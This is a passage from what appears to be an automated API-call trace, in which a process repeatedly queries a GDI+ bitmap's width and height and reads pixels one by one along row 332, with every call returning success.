0x0 [0114.976] GdipBitmapGetPixel (bitmap=0x4932f08, x=151, y=332, color=0x31cb2c) returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.976] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.976] GdipBitmapGetPixel (bitmap=0x4932f08, x=152, y=332, color=0x31cb2c) returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.976] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.976] GdipBitmapGetPixel (bitmap=0x4932f08, x=153, y=332, color=0x31cb2c) returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.976] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.976] GdipBitmapGetPixel (bitmap=0x4932f08, x=154, y=332, color=0x31cb2c) returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.977] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.977] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.977] GdipBitmapGetPixel (bitmap=0x4932f08, x=155, y=332, color=0x31cb2c) returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.977] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.977] GdipBitmapGetPixel (bitmap=0x4932f08, x=156, y=332, color=0x31cb2c) returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.977] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.977] GdipBitmapGetPixel (bitmap=0x4932f08, x=157, y=332, color=0x31cb2c) returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.977] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.977] GdipBitmapGetPixel (bitmap=0x4932f08, x=158, y=332, color=0x31cb2c) returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.977] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.977] GdipBitmapGetPixel (bitmap=0x4932f08, x=159, y=332, color=0x31cb2c) returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.977] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.977] GdipBitmapGetPixel (bitmap=0x4932f08, x=160, y=332, color=0x31cb2c) returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.977] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.977] GdipBitmapGetPixel (bitmap=0x4932f08, x=161, y=332, color=0x31cb2c) returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.977] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.977] GdipBitmapGetPixel (bitmap=0x4932f08, x=162, y=332, color=0x31cb2c) returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.977] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.977] GdipBitmapGetPixel (bitmap=0x4932f08, x=163, y=332, color=0x31cb2c) returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.977] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.978] GdipBitmapGetPixel (bitmap=0x4932f08, x=164, y=332, color=0x31cb2c) returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.978] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.978] GdipBitmapGetPixel (bitmap=0x4932f08, x=165, y=332, color=0x31cb2c) returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.978] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.978] GdipBitmapGetPixel (bitmap=0x4932f08, x=166, y=332, color=0x31cb2c) returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.978] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.978] GdipBitmapGetPixel (bitmap=0x4932f08, x=167, y=332, color=0x31cb2c) returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.978] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.978] GdipBitmapGetPixel (bitmap=0x4932f08, x=168, y=332, color=0x31cb2c) returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.978] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.978] GdipBitmapGetPixel (bitmap=0x4932f08, x=169, y=332, color=0x31cb2c) returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.978] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.978] GdipBitmapGetPixel (bitmap=0x4932f08, x=170, y=332, color=0x31cb2c) returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.978] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.978] GdipBitmapGetPixel (bitmap=0x4932f08, x=171, y=332, color=0x31cb2c) returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.978] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.978] GdipBitmapGetPixel (bitmap=0x4932f08, x=172, y=332, color=0x31cb2c) returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.978] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.978] GdipBitmapGetPixel (bitmap=0x4932f08, x=173, y=332, color=0x31cb2c) returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.979] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.979] GdipBitmapGetPixel (bitmap=0x4932f08, x=174, y=332, color=0x31cb2c) returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.979] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.979] GdipBitmapGetPixel (bitmap=0x4932f08, x=175, y=332, color=0x31cb2c) returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.979] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.979] GdipBitmapGetPixel (bitmap=0x4932f08, x=176, y=332, color=0x31cb2c) returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.979] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.979] GdipBitmapGetPixel (bitmap=0x4932f08, x=177, y=332, color=0x31cb2c) returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.979] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.979] GdipBitmapGetPixel (bitmap=0x4932f08, x=178, y=332, color=0x31cb2c) returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.979] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.979] GdipBitmapGetPixel (bitmap=0x4932f08, x=179, y=332, color=0x31cb2c) returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.979] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.979] GdipBitmapGetPixel (bitmap=0x4932f08, x=180, y=332, color=0x31cb2c) returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.979] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.979] GdipBitmapGetPixel (bitmap=0x4932f08, x=181, y=332, color=0x31cb2c) returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.979] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.980] GdipBitmapGetPixel (bitmap=0x4932f08, x=182, y=332, color=0x31cb2c) returned 0x0 [0114.980] GetLastError () returned 0x0 [0114.980] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.980] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.980] GdipBitmapGetPixel (bitmap=0x4932f08, x=183, y=332, color=0x31cb2c) returned 0x0 [0114.980] GetLastError () returned 0x0 [0114.980] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.980] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.980] GdipBitmapGetPixel (bitmap=0x4932f08, x=184, y=332, color=0x31cb2c) returned 0x0 [0114.980] GetLastError () returned 0x0 [0114.980] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.980] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.980] GdipBitmapGetPixel (bitmap=0x4932f08, x=185, y=332, color=0x31cb2c) returned 0x0 [0114.980] GetLastError () returned 0x0 [0114.980] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.980] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.980] GdipBitmapGetPixel (bitmap=0x4932f08, x=186, y=332, color=0x31cb2c) returned 0x0 [0114.980] GetLastError () returned 0x0 [0114.980] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.980] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.980] GdipBitmapGetPixel (bitmap=0x4932f08, x=187, y=332, color=0x31cb2c) returned 0x0 [0114.980] GetLastError () returned 0x0 [0114.980] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.980] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.980] GdipBitmapGetPixel (bitmap=0x4932f08, x=188, y=332, color=0x31cb2c) returned 0x0 [0114.980] GetLastError () returned 0x0 [0114.980] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.980] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.980] GdipBitmapGetPixel (bitmap=0x4932f08, x=189, y=332, color=0x31cb2c) returned 0x0 [0114.980] GetLastError () returned 0x0 [0114.980] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.980] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.980] GdipBitmapGetPixel (bitmap=0x4932f08, x=190, y=332, color=0x31cb2c) returned 0x0 [0114.980] GetLastError () returned 0x0 [0114.980] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.980] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.980] GdipBitmapGetPixel (bitmap=0x4932f08, x=191, y=332, color=0x31cb2c) returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.981] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.981] GdipBitmapGetPixel (bitmap=0x4932f08, x=192, y=332, color=0x31cb2c) returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.981] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.981] GdipBitmapGetPixel (bitmap=0x4932f08, x=193, y=332, color=0x31cb2c) returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.981] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.981] GdipBitmapGetPixel (bitmap=0x4932f08, x=194, y=332, color=0x31cb2c) returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.981] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.981] GdipBitmapGetPixel (bitmap=0x4932f08, x=195, y=332, color=0x31cb2c) returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.981] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.981] GdipBitmapGetPixel (bitmap=0x4932f08, x=196, y=332, color=0x31cb2c) returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.981] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.981] GdipBitmapGetPixel (bitmap=0x4932f08, x=197, y=332, color=0x31cb2c) returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.981] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.981] GdipBitmapGetPixel (bitmap=0x4932f08, x=198, y=332, color=0x31cb2c) returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.981] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.981] GdipBitmapGetPixel (bitmap=0x4932f08, x=199, y=332, color=0x31cb2c) returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.982] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.982] GdipBitmapGetPixel (bitmap=0x4932f08, x=200, y=332, color=0x31cb2c) returned 0x0 [0114.982] GetLastError () returned 0x0 [0114.982] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.982] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.982] GdipBitmapGetPixel (bitmap=0x4932f08, x=201, y=332, color=0x31cb2c) returned 0x0 [0114.982] GetLastError () returned 0x0 [0114.982] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.982] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.982] GdipBitmapGetPixel (bitmap=0x4932f08, x=202, y=332, color=0x31cb2c) returned 0x0 [0114.982] GetLastError () returned 0x0 [0114.982] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.982] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.982] GdipBitmapGetPixel (bitmap=0x4932f08, x=203, y=332, color=0x31cb2c) returned 0x0 [0114.982] GetLastError () returned 0x0 [0114.982] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.982] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.982] GdipBitmapGetPixel (bitmap=0x4932f08, x=204, y=332, color=0x31cb2c) returned 0x0 [0114.982] GetLastError () returned 0x0 [0114.982] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.982] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.982] GdipBitmapGetPixel (bitmap=0x4932f08, x=205, y=332, color=0x31cb2c) returned 0x0 [0114.982] GetLastError () returned 0x0 [0114.982] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.982] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.982] GdipBitmapGetPixel (bitmap=0x4932f08, x=206, y=332, color=0x31cb2c) returned 0x0 [0114.982] GetLastError () returned 0x0 [0114.982] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.982] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.982] GdipBitmapGetPixel (bitmap=0x4932f08, x=207, y=332, color=0x31cb2c) returned 0x0 [0114.982] GetLastError () returned 0x0 [0114.982] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.982] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.982] GdipBitmapGetPixel (bitmap=0x4932f08, x=208, y=332, color=0x31cb2c) returned 0x0 [0114.982] GetLastError () returned 0x0 [0114.982] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.982] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.982] GdipBitmapGetPixel (bitmap=0x4932f08, x=209, y=332, color=0x31cb2c) returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.983] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.983] GdipBitmapGetPixel (bitmap=0x4932f08, x=210, y=332, color=0x31cb2c) returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.983] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.983] GdipBitmapGetPixel (bitmap=0x4932f08, x=211, y=332, color=0x31cb2c) returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.983] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.983] GdipBitmapGetPixel (bitmap=0x4932f08, x=212, y=332, color=0x31cb2c) returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.983] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.983] GdipBitmapGetPixel (bitmap=0x4932f08, x=213, y=332, color=0x31cb2c) returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.983] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.983] GdipBitmapGetPixel (bitmap=0x4932f08, x=214, y=332, color=0x31cb2c) returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.983] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.983] GdipBitmapGetPixel (bitmap=0x4932f08, x=215, y=332, color=0x31cb2c) returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.983] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.983] GdipBitmapGetPixel (bitmap=0x4932f08, x=216, y=332, color=0x31cb2c) returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.983] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.983] GdipBitmapGetPixel (bitmap=0x4932f08, x=217, y=332, color=0x31cb2c) returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.983] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.983] GdipBitmapGetPixel (bitmap=0x4932f08, x=218, y=332, color=0x31cb2c) returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.983] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.984] GdipBitmapGetPixel (bitmap=0x4932f08, x=219, y=332, color=0x31cb2c) returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.984] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.984] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.984] GdipBitmapGetPixel (bitmap=0x4932f08, x=220, y=332, color=0x31cb2c) returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.984] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.984] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.984] GdipBitmapGetPixel (bitmap=0x4932f08, x=221, y=332, color=0x31cb2c) returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.984] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.984] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.984] GdipBitmapGetPixel (bitmap=0x4932f08, x=222, y=332, color=0x31cb2c) returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.984] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.984] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.984] GdipBitmapGetPixel (bitmap=0x4932f08, x=223, y=332, color=0x31cb2c) returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.984] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.984] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.984] GdipBitmapGetPixel (bitmap=0x4932f08, x=224, y=332, color=0x31cb2c) returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.984] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.984] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.984] GdipBitmapGetPixel (bitmap=0x4932f08, x=225, y=332, color=0x31cb2c) returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.984] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.984] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.984] GdipBitmapGetPixel (bitmap=0x4932f08, x=226, y=332, color=0x31cb2c) returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.984] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.984] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.984] GdipBitmapGetPixel (bitmap=0x4932f08, x=227, y=332, color=0x31cb2c) returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.984] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.984] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.984] GdipBitmapGetPixel (bitmap=0x4932f08, x=228, y=332, color=0x31cb2c) returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.985] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.985] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.985] GdipBitmapGetPixel (bitmap=0x4932f08, x=229, y=332, color=0x31cb2c) returned 0x0 [0114.985] GetLastError () returned 0x0 [0114.985] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.985] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.985] GdipBitmapGetPixel (bitmap=0x4932f08, x=230, y=332, color=0x31cb2c) returned 0x0 [0114.985] GetLastError () returned 0x0 [0114.985] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.985] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.985] GdipBitmapGetPixel (bitmap=0x4932f08, x=231, y=332, color=0x31cb2c) returned 0x0 [0114.985] GetLastError () returned 0x0 [0114.985] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.985] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.985] GdipBitmapGetPixel (bitmap=0x4932f08, x=232, y=332, color=0x31cb2c) returned 0x0 [0114.985] GetLastError () returned 0x0 [0114.985] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.985] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.985] GdipBitmapGetPixel (bitmap=0x4932f08, x=233, y=332, color=0x31cb2c) returned 0x0 [0114.985] GetLastError () returned 0x0 [0114.985] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.985] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.985] GdipBitmapGetPixel (bitmap=0x4932f08, x=234, y=332, color=0x31cb2c) returned 0x0 [0114.985] GetLastError () returned 0x0 [0114.985] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.985] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.985] GdipBitmapGetPixel (bitmap=0x4932f08, x=235, y=332, color=0x31cb2c) returned 0x0 [0114.985] GetLastError () returned 0x0 [0114.985] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.985] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.985] GdipBitmapGetPixel (bitmap=0x4932f08, x=236, y=332, color=0x31cb2c) returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.986] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.986] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.986] GdipBitmapGetPixel (bitmap=0x4932f08, x=237, y=332, color=0x31cb2c) returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.986] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.986] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.986] GdipBitmapGetPixel (bitmap=0x4932f08, x=238, y=332, color=0x31cb2c) returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.986] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.986] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.986] GdipBitmapGetPixel (bitmap=0x4932f08, x=239, y=332, color=0x31cb2c) returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.986] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.986] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.986] GdipBitmapGetPixel (bitmap=0x4932f08, x=240, y=332, color=0x31cb2c) returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.986] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.986] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.986] GdipBitmapGetPixel (bitmap=0x4932f08, x=241, y=332, color=0x31cb2c) returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.986] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.986] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.986] GdipBitmapGetPixel (bitmap=0x4932f08, x=242, y=332, color=0x31cb2c) returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.986] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.986] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.986] GdipBitmapGetPixel (bitmap=0x4932f08, x=243, y=332, color=0x31cb2c) returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.986] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.987] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.987] GdipBitmapGetPixel 